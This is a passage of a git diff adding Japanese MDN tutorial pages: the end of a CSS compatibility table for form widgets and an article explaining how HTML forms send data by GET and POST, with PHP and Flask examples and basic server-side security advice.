<th scope="col" style="text-align: center;">N</th> + <th scope="col" style="text-align: center;">T</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>CSS ボックスモデル</em></th> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + <tr> + <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>テキストとフォント</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td style="text-align: center; vertical-align: top;">N.A.</td> + <td></td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>境界と背景</em></th> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes</td> + <td colspan="1"></td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td colspan="1"> + <ol> + <li>IE9 はこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + <tr> + <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partial<sup>[1]</sup></td> + <td colspan="1"> + <ol> + <li>IE9 はこのプロパティに対応していません。</li> + </ol> + </td> + </tr> + </tbody> +</table> + +<p>{{PreviousMenu("Learn/HTML/Forms/Advanced_styling_for_HTML_forms", "Learn/HTML/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<h3 id="学習コース">学習コース</h3> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めての HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">HTML フォームの構築方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">JavaScript によるフォームの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">古いブラウザでの HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">HTML フォームへのスタイル設定</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">HTML フォームへの高度なスタイル設定</a></li> + <li><a href="/ja/docs/Property_compatibility_table_for_form_widgets">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> + +<h3 id="上級トピック">上級トピック</h3> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> diff --git a/files/ja/learn/forms/sending_and_retrieving_form_data/index.html b/files/ja/learn/forms/sending_and_retrieving_form_data/index.html new file mode 100644 index 0000000000..7370945b88 --- /dev/null +++ b/files/ja/learn/forms/sending_and_retrieving_form_data/index.html @@ -0,0 +1,341 @@ +--- +title: フォームデータの送信 +slug: Learn/Forms/Sending_and_retrieving_form_data +tags: + - Beginner + - CodingScripting + - Guide + - HTML + - HTTP + - Web + - セキュリティ + - ファイル + - フォーム +translation_of: Learn/Forms/Sending_and_retrieving_form_data +--- +<div>{{LearnSidebar}}{{PreviousMenu("Learn/Forms/Form_validation", "Learn/Forms")}}</div> + +<p class="summary">フォームがクライアント側で検証されたら、フォームの送信は大丈夫です。前の記事では検証をカバーしたので、送信する準備はできています! この記事では、ユーザーがフォームを送信したときに何が起こるか、つまりデータがどこへ行くのか、そこに来たときにどう扱うのかを見ます。また、フォームデータの送信に関連するセキュリティの考慮事項のいくつかも見てみます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターリテラシー, <a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML の理解</a>, <a href="/ja/docs/Web/HTTP/Basics_of_HTTP">HTTP</a> および<a href="/ja/docs/Learn/Server-side/First_steps">サーバーサイドプログラミング</a>の基本的な知識。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>フォームデータが送信されたら何が起こるかを、データがサーバー上でどのように処理されるかの基本的な考えも含めて理解すること。</td> + </tr> + </tbody> +</table> + +<p>まずは、フォームが送信されたときにデータに何が起こるかを考えてみましょう。</p> + +<h2 id="About_clientserver_architecture" name="About_clientserver_architecture">クライアント/サーバー構成について</h2> + +<p>ウェブはごく基本的なクライアント/サーバー構成に基づいており、簡単に言うと次のようになります。クライアント (通常はウェブブラウザー) は <a href="/ja/docs/HTTP">HTTP プロトコル</a>を使用して、サーバー (ほとんどの場合 <a href="http://httpd.apache.org/" rel="external">Apache</a>、<a href="http://nginx.com/" rel="external">Nginx</a>、<a href="http://www.iis.net/" rel="external">IIS</a>、<a href="http://tomcat.apache.org/" rel="external">Tomcat</a> などのウェブサーバー) にリクエストを送ります。サーバーは同じプロトコルを使用して、リクエストに応答します。</p> + +<p><img alt="基本的なクライアント/サーバー構成" src="/files/4291/client-server.png" style="display: block; height: 141px; margin: 0px auto; width: 400px;"></p> + +<p>クライアント側において、HTML フォームはサーバーへデータを送信する HTTP リクエストを組み立てるのための、便利でユーザーに使いやすい手段でしかありません。フォームによって、ユーザーが HTTP リクエストで渡す情報を提供することができるようになります。</p> + +<div class="note"> +<p><strong>メモ</strong>: どのようにクライアント/サーバー構成が動作するかについてもっと知りたい場合は、<a href="/ja/docs/Learn/Server-side/First_steps">サーバーサイド Web サイトプログラミング入門</a>モジュールをお読みください。</p> +</div> + +<h2 id="On_the_client_side_defining_how_to_send_the_data" name="On_the_client_side_defining_how_to_send_the_data">クライアント側: データ送信方法の定義</h2> + +<p>{{HTMLElement("form")}} 要素で、データを送信する方法を定義します。その属性すべてが、ユーザーが送信ボタンを押すと送信されるリクエストを調整できるように設計されています。もっとも重要な属性は {{htmlattrxref("action","form")}} と {{htmlattrxref("method","form")}} の 2 つです。</p> + +<h3 id="The_htmlattrxrefactionform_attribute" name="The_htmlattrxref(actionform)_attribute">action 属性</h3> + +<p><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/action">action</a></code> 属性は、どこにデータを送信するかを定義します。値は妥当な相対/絶対 <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Common_questions/What_is_a_URL">URL</a> でなければなりません。この属性が与えられなかった場合は、フォームが含まれているページの URL にデータが送信されます。</p> + +<p>この例では、データを絶対 URL の <code>http://</code><code>example.com</code> に送信します。</p> + +<pre class="brush: html notranslate"><form action="http://example.com"></pre> + +<p>こちらは、相対 URL を使用しています。データは同一オリジン上の別の URL に送信されます。</p> + +<pre class="brush: html notranslate"><form action="/somewhere_else"></pre> + +<p>以下のように属性を指定しない場合は、{{HTMLElement("form")}} 要素はフォームが表示されているページ自身に対してデータを送信します。</p> + +<pre class="brush: html notranslate"><form></pre> + +<div class="note"> +<p><strong>メモ:</strong> HTTPS (secure HTTP) プロトコルを使用して URL を指定することができます。このようにすると、フォーム自体が HTTP でアクセスされる安全ではないページで提供される場合でも、データはリクエストの残りの部分とともに暗号化されます。一方、フォームが安全なページ提供されていても、{{htmlattrxref("action","form")}} 属性で安全ではない HTTP の URL を指定すると、どのブラウザーでもデータを送信する際にユーザーに対してセキュリティの警告を表示します。これは、データが暗号化されないためです。</p> +</div> + +<p>非ファイル型のフォームコントロールの名前/値は&記号で結合された <code>name=value</code> ペアでサーバーに送られます。<code>action</code> の値は、サーバー側の検証を含め入力データを扱うサーバーのファイルです。サーバーは応答して、一般的にはデータを処理して <code>action</code> 属性で定義された URL を読み込み、新しいページの読み込み (または <code>action</code> が同じページを指している場合は既存ページのリフレッシュ)を引き起こします。</p> + +<p>データがどう送られるかは <code>method</code> 属性に依存します。</p> + +<h3 id="The_htmlattrxrefmethodform_attribute" name="The_htmlattrxref(methodform)_attribute">method 属性</h3> + +<p><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/method">method</a></code> 属性は、どのようにデータを送信するかを定義します。<a href="/ja/docs/HTTP">HTTP プロトコル</a>はリクエストを実行するための方法をいくつか提供しています。HTML フォームのデータは複数の方法で送信することができます。もっとも一般的なものは <code>GET</code> メソッドと <code>POST</code> メソッドです。</p> + +<p>これら2つのメソッドの違いを理解するために、一歩戻って <a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTTP/Overview">HTTP の動作</a>についてみていきましょう。ウェブ上のリソースにたどり着こうとするたびに、ブラウザーは URL へリクエストを送信します。HTTP リクエストは 2 つの部分で構成されます。ブラウザーの機能に関する包括的なメタデータのセットを持つヘッダーと、指定されたリクエストをサーバーが処理するために必要な情報を持つ本文です。</p> + +<h4 id="The_GET_method" name="The_GET_method">GET メソッド</h4> + +<p><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTTP/Methods/GET"><code>GET</code> メソッド</a>は、サーバーに対して指定したリソースを返すよう求めるためにブラウザーが使用するメソッドです。"やあサーバー、このリソースをくれよ。" この場合、ブラウザーは空の本文を送信します。本文が空であるため、フォームをこのメソッドで送信する場合はデータを URL の後に付加します。</p> + +<p>以下のフォームについて考えてみましょう。</p> + +<pre class="brush: html notranslate"><form action="http://foo.com" method="get"> + <div> + <label for="say">What greeting do you want to say?</label> + <input name="say" id="say" value="Hi"> + </div> + <div> + <label for="to">Who do you want to say it to?</label> + <input name="to" id="to" value="Mom"> + </div> + <div> + <button>Send my greetings</button> + </div> +</form></pre> + +<p><code>GET</code> メソッドが使用されているので、フォームを送信するときにブラウザーのアドレスバーに <code>www.foo.com/?say=Hi&to=Mom</code> という URL が見えるでしょう。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14685/url-parameters.png" style="display: block; margin: 0 auto;">URL に追加されたデータは名前/値の組の連続です。URL の Web アドレスが終了した後、疑問符 (<code>?</code>) に続いて、名前/値の組が、それぞれアンパサンド (<code>&</code>) で区切られて入ります。この場合、2 つのデータの断片がサーバーに渡されます。</p> + +<ul> + <li><code>say</code> の値は <code>Hi</code></li> + <li><code>to</code> の値は <code>Mom</code></li> +</ul> + +<p>HTTP リクエストは次のようになります。</p> + +<pre class="notranslate">GET /?say=Hi&to=Mom HTTP/1.1 +Host: foo.com</pre> + +<div class="note"> +<p><strong>メモ</strong>: この例は GitHub にあります。— <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/get-method.html">get-method.html</a> を参照してください (<a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html">ライブはこちら</a>).</p> +</div> + +<h4 id="The_POST_method" name="The_POST_method">POST メソッド</h4> + +<p><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTTP/Methods/POST"><code>POST</code> メソッド</a>は少し異なります。これは、HTTP リクエストの本文で提供したデータを考慮したレスポンスの要求を、ブラウザーがサーバーに送信するためのメソッドです。"やあサーバー、このデータを見て適切な結果を返してよ。" このメソッドを使用してフォームを送信する場合は、データが HTTP リクエストの本文の後に追加されます。</p> + +<p>例を見てみましょう。— これは前述の <code>GET</code> の節で見たものと同じフォームですが、{{htmlattrxref("method","form")}} 属性が <code>post</code> に設定されています。</p> + +<pre class="brush: html notranslate"><form action="http://foo.com" method="post"> + <div> + <label for="say">What greeting do you want to say?</label> + <input name="say" id="say" value="Hi"> + </div> + <div> + <label for="to">Who do you want to say it to?</label> + <input name="to" id="to" value="Mom"> + </div> + <div> + <button>Send my greetings</button> + </div> +</form></pre> + +<p>フォームをが <code>POST</code> メソッドで送信されると、URL にはデータが追加されず、HTTP リクエストは次のように、リクエスト本文にデータが含まれた形になります。</p> + +<pre class="notranslate">POST / HTTP/1.1 +Host: foo.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 13 + +say=Hi&to=Mom</pre> + +<p><code>Content-Length</code> ヘッダーは本文の長さを、また <code>Content-Type</code> ヘッダーはサーバーに送信するリソースの種類を表します。これらのヘッダーについて少し説明しましょう。</p> + +<div class="note"> +<p><strong>メモ</strong>: この例は GitHub で見つけることができます。— <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/post-method.html">post-method.html</a> を参照してください (<a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/post-method.html">ライブ版も見てください</a>)。</p> +</div> + +<h3 id="HTTP_リクエストの表示">HTTP リクエストの表示</h3> + +<p>当然ながら HTTP リクエストはユーザーには表示されません (見たいのであれば、<a href="/ja/docs/Tools/Network_Monitor">Firefox ネットワークモニター</a>や <a href="https://developers.google.com/chrome-developer-tools/">Chrome デベロッパー ツール</a>などのツールが必要です)。例のように、フォームのデータは Chrome の Network タブに以下のように表示されます。フォームの送信後に、以下のように操作してください。</p> + +<ol> + <li>開発者ツールを開く</li> + <li>"Network" を選択</li> + <li>"All" を選択</li> + <li>"Name" タブから "foo.com" を選択</li> + <li>"Headers" を選択</li> +</ol> + +<p>これで下の画像にあるように、フォームデータを取得することができます。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14691/network-monitor.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>ユーザーに表示されるのは呼び出された URL のみです。前述のように、<code>GET</code> リクエストはユーザーが URL バーの中でデータを見ることができますが、<code>POST</code> リクエストではそうではありません。これは 2 つの理由でとても重要です。</p> + +<ol> + <li>パスワード (あるいは何らかの機密データ) を送信する必要がある場合は、<code>GET</code> メソッドを使用してはいけません。データが URL バーに表示されるリスクがあり、とても危険です。</li> + <li>大量のデータを送信する必要があるなら、<code>POST</code> が好ましいメソッドです。これは、URL の長さ制限があるブラウザーが存在するためです。加えて、多くのサーバーは受け入れる URL の長さを制限しています。</li> +</ol> + +<h2 id="On_the_server_side_retrieving_the_data" name="On_the_server_side_retrieving_the_data">サーバー側: データの取得</h2> + +<p>どちらの HTTP メソッドを選択しても、サーバーが受け取る文字列は、キー/値の組のリストとしてデータを取得するために解析されます。このリストにアクセスする方法は、使用する開発プラットフォームや、使用するであろう特定のフレームワークに依存します。</p> + +<h3 id="Example_Raw_PHP" name="Example_Raw_PHP">PHP の例</h3> + +<p><a href="https://php.net/">PHP</a> は、データにアクセスするためのグローバルオブジェクトを提供します。<code>POST</code> メソッドを使用したと仮定すると、データを取得してユーザーに表示する例は以下のとおりです。もちろん、データに対して何をするかはあなた次第です。データを表示したり、データベースに保管したり、メールで送信したり、他の手段で処理したりするでしょう。</p> + +<pre class="brush: php notranslate"><?php + // $_POST グローバル変数は、POST メソッドで送信されたデータへ名前でアクセスを可能にする + // GET メソッドで送信されたデータにアクセスするには、$_GET が使用できる + $say = htmlspecialchars($_POST['say']); + $to = htmlspecialchars($_POST['to']); + + echo $say, ' ', $to; +?></pre> + +<p>この例では送信されたデータを含むページを表示します。これはサンプルの <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.html">php-example.html</a> ファイル、つまり以前 <code>method</code> が <code>POST</code> で <code>action</code> が <code>php-example.php</code> の時に見たサンプルフォームを含むファイルアクションの中で見ることができます。送信されると、フォームデータは上記のブロックの PHP コードを含む <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.php">php-example.php</a> へ送信されます。コードが実行されると、ブラウザーの出力は <code>Hi Mom</code> になります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14693/php-result.png" style="display: block; margin: 0 auto;"></p> + +<div class="note"> +<p><strong>メモ</strong>: この例はブラウザーにローカルに読み込んだ時には動作しません。— ブラウザーは PHP コードを解釈できないので、フォームがブラウザーに送信されると、PHP ファイルをダウンロードしようとするでしょう。動作させるためには、この例を何らかの PHP サーバー経由で実行する必要があります。ローカルの PHP のテストには、<a href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac および Windows) や <a href="http://ampps.com/download">AMPPS</a> (Mac, Windows, Linux) がいいでしょう。</p> + +<p>MAMP を使って MAMP Pro がない (または MAMP Pro デモトライアルの有効期限が切れた)場合、動作させるのにトラブルが起こるかもしれません。再び動作させるには MAMP アプリを閉じて、<em>MAMP</em> > <em>Preferences</em> > <em>PHP</em>メニューから "Standard Version:" を "7.2.x" (x はあなたがどのバージョンをインストールしたかによります)にするといいことがわかっています。</p> +</div> + +<h3 id="Example_Raw_Python" name="Example_Raw_Python">Python の例</h3> + +<p>この例は、同じこと (与えられたデータをウェブページに表示する) を Python で行います。これはテンプレートの表示やフォームデータの受付などのために <a href="http://flask.pocoo.org/">Flask フレームワーク</a>を使用しています (<a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py">python-example.py</a> を参照してください)。</p> + +<pre class="notranslate">from flask import Flask, render_template, request +app = Flask(__name__) + +@app.route('/', methods=['GET', 'POST']) +def form(): + return render_template('form.html') + +@app.route('/hello', methods=['GET', 'POST']) +def hello(): + return render_template('greeting.html', say=request.form['say'], to=request.form['to']) + +if __name__ == "__main__": + app.run()</pre> + +<p>次のように、上記のコードでは 2 つのテンプレートが参照されます。(自分の環境で実行する場合、これらは <code>templates</code> というサブディレクトリにあり、<code>python-example.py</code>ファイルと同じディレクトリにある必要があります):</p> + +<ul> + <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/form.html">form.html</a>: 以前に {{anch("The POST method", "POST メソッド")}}の節で見たフォームと同じですが、<code>action</code> が <code>\{{ url_for('hello') }}</code> に設定されています (これは <a href="http://jinja.pocoo.org/docs/2.9/">Jinja2</a> テンプレートで、基本的に HTML ですが、波括弧の中にウェブサーバーで実行されている Python のコードの呼び出しを含めることができます。<code>url_for('hello')</code> は基本的に、「フォームが送信されたら <code>/hello</code> にリダイレクトしてください」と言っています。)</li> + <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/greeting.html">greeting.html</a>: このテンプレートは、表示時に渡された 2 つの小さいデータを表示する行だけを含みます。<code>/hello</code> の URL が呼び出されるときに実行される、前述の <code>hello()</code> 関数によって行われます。</li> +</ul> + +<div class="note"> +<p><strong>メモ</strong>: 繰り返しますが、このコードはブラウザーに直接読み込もうとしても動作しません。Python は PHP とは若干異なる動作をします。— ローカルでこのコードを実行するには、<a href="/ja/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">Python/PIP をインストール</a>する必要があり、それから <code>pip3 install flask</code> を使用して Flask をインストールしてください。この時点で <code>python3 python-example.py</code> を実行し、ブラウザーで <code>localhost:5000</code> に移動することで実行することができるでしょう。</p> +</div> + +<h3 id="Other_languages_and_frameworks" name="Other_languages_and_frameworks">その他の言語やフレームワーク</h3> + +<p>フォームの操作に使用できるサーバー側の技術は、Perl、Java、.Net、Ruby などたくさんあります。もっとも好きなものを選びましょう。しかしそれらの技術を直接使用することは、扱いにくいため一般的ではないことが特筆に値します。以下のような、フォームをより簡単に扱えるようにする多くの高品質フレームワークのひとつを使用する方がより一般的です:</p> + +<ul> + <li>Python 用 <a href="https://www.djangoproject.com/" rel="external">Django</a> (<a href="http://flask.pocoo.org/">Flask</a> より若干重いものですが、ツールとオプションはもっとたくさんあります)</li> + <li>Node.js 用 <a href="/ja/docs/Learn/Server-side/Express_Nodejs">Express</a></li> + <li>PHP 用 <a href="https://laravel.com/">Laravel</a></li> + <li>Ruby 用 <a href="http://rubyonrails.org/" rel="external">Ruby On Rails</a></li> +</ul> + +<p>言うまでもなく、これらのフレームワークを使用したとしても、フォームでの作業が必ずしも<em>簡単に</em>なるとは限りません。しかし、すべての機能を自分で 1 から書こうとするよりずっと簡単で、また多くの時間を節約できるでしょう。</p> + +<div class="note"> +<p><strong>メモ</strong>: サーバー側言語やフレームワークまで説明することはこの記事の範囲を超えます。上記のリンクが参考になりますので、学習してみてください。</p> +</div> + +<h2 id="A_special_case_sending_files" name="A_special_case_sending_files">特別な場合: ファイル送信</h2> + +<p>ファイルは HTML フォームで特別なケースです。他のデータがすべてテキストデータである中、ファイルはバイナリーデータ (あるいはそのように考えられるデータ) です。HTTP はテキストのプロトコルであるため、バイナリーデータを扱うための特別な要件があります。</p> + +<h3 id="The_htmlattrxrefenctypeform_attribute" name="The_htmlattrxref(enctypeform)_attribute">enctype 属性</h3> + +<p>この属性で <code>Content-Type</code> HTTP ヘッダーの値を指定できます。このヘッダーはサーバーに対して送信するデータの種類を伝えることから、とても重要です。既定値は <code>application/x-www-form-urlencoded</code> です。人間の言葉では、「これは URL 形式でエンコードされたフォームデータです。」という意味です。</p> + +<p>しかしファイルを送信したい場合は、さらに 2 つのステップを踏む必要があります。</p> + +<ul> + <li>ファイルの内容は URL 引数に収めることができないので、{{htmlattrxref("method","form")}} 属性を <code>POST</code> に設定してください。</li> + <li>データは複数の部分に分かれ、それぞれのファイルや文字列データがフォーム本体に含められているので、{{htmlattrxref("enctype","form")}} の値を <code>multipart/form-data</code> に設定ください。</li> + <li>ユーザーがアップロードするファイルを選択できるように、1 つ以上の <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/file"><input type="file"></a></code> コントロールを含めてください。</li> +</ul> + +<p>例:</p> + +<pre class="brush: html notranslate"><form method="post" enctype="multipart/form-data"> + <div> + <label for="file">Choose a file</label> + <input type="file" id="file" name="myFile"> + </div> + <div> + <button>Send the file</button> + </div> +</form></pre> + +<div class="blockIndicator note"> +<p><strong>警告:</strong> 多くのサーバーは悪用を防ぐために、ファイルや HTTP リクエストの長さを制限しています。</p> +</div> + +<h2 id="Common_security_concerns" name="Common_security_concerns">一般的なセキュリティへの配慮</h2> + +<p>サーバーにデータを送信するたびに、セキュリティについて考える必要があります。HTML フォームはサーバーに対するもっともよくある攻撃の入口 (攻撃が行われる場所) になります。問題が HTML フォーム自身から発生することはありません — サーバーがどのようにデータを扱うかによります。</p> + +<p><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Server-side">server-side</a> の学習トピックの <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Server-side/First_steps/Website_security">Website security</a> の記事では、一般的な攻撃とその防御を詳細に扱っています。そちらへ行って記事を確認し、何が起こり得るかを理解してください。</p> + +<h3 id="Be_paranoid_Never_trust_your_users" name="Be_paranoid_Never_trust_your_users">疑い深くあれ: ユーザーを信用してはいけません</h3> + +<p>さて、これらの脅威に対してどう対抗するのでしょうか? これは本ガイドの内容を超える話題です。それでも、覚えておくとよいルールがいくつかあります。もっとも重要なルールは、自分自身も含めユーザーを決して信用してはならないことです。信頼されているユーザーでさえハイジャックされるかもしれません。</p> + +<p>サーバーに来るすべてのデータを確認およびサニタイズしなければなりません。いつでもです。例外はありません。</p> + +<ul> + <li><strong>潜在的に危険な文字をエスケープします。</strong>注意すべき具体的な文字は、データが使用される状況や使用するサーバー基盤に大きく依存しますが、どのサーバー側言語もそのための機能を持っています。注意しておくべきことは、 (<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript">JavaScript</a> や <a href="https://en.wikipedia.org/wiki/SQL">SQL</a> コマンドといった)実行可能なコードのようなキャラクターシーケンスです。</li> + <li><strong>入力データの量を、必要なサイズまでしか受け入れないように制限します。</strong></li> + <li><strong>アップロードされたファイルをサンドボックス化します。</strong>ファイルを別のサーバーに保管して、別のサブドメインまたはよりよい方法としてまったく別のドメインを通してのみアクセスを許可します。</li> +</ul> + +<p>これら 3 つのルールに従うと、多くのあるいはほとんどの問題を避けられるでしょう。ただし、適格の第三者によるセキュリティレビューを受けることもよい考えです。発生し得る問題のすべてを見いだしたとは考えないようにしてください。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>ご覧いただいたように、フォームデータの送信は簡単ですが、アプリケーションを安全にするのは容易ではありません。フロントエンドの開発者はデータのセキュリティモデルを定義すべき者ではないことを忘れないようにしてください。今後見ていくように<a href="/ja/docs/Web/HTML/Forms/Data_form_validation">クライアント側でのデータ検証</a>も可能ですが、クライアント側で実際に何が起きているかを知ることはできませんので、サーバー側でその検証内容を信用することはできません。</p> + +<p>このチュートリアルを順番に終えた場合、フォームのマークアップとスタイル設定の方法、クライアント側での検証の方法、フォーム送信の理解ができているでしょう。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<p>ウェブアプリケーションのセキュア化についてさらに学びたいのでしたら、次のリソースをよく読んでください。</p> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/First_steps">サーバー側ウェブサイトプログラミング入門</a></li> + <li><a href="https://www.owasp.org/index.php/Main_Page" rel="external">The Open Web Application Security Project (OWASP)</a></li> + <li><a href="https://infosec.mozilla.org/guidelines/web_security">Web Security by Mozilla</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/The_native_form_widgets", "Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのフォーム</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">フォームの構築方法</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/HTML5_input_types" rel="noopener">The HTML5 input types</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls" rel="noopener">Other form 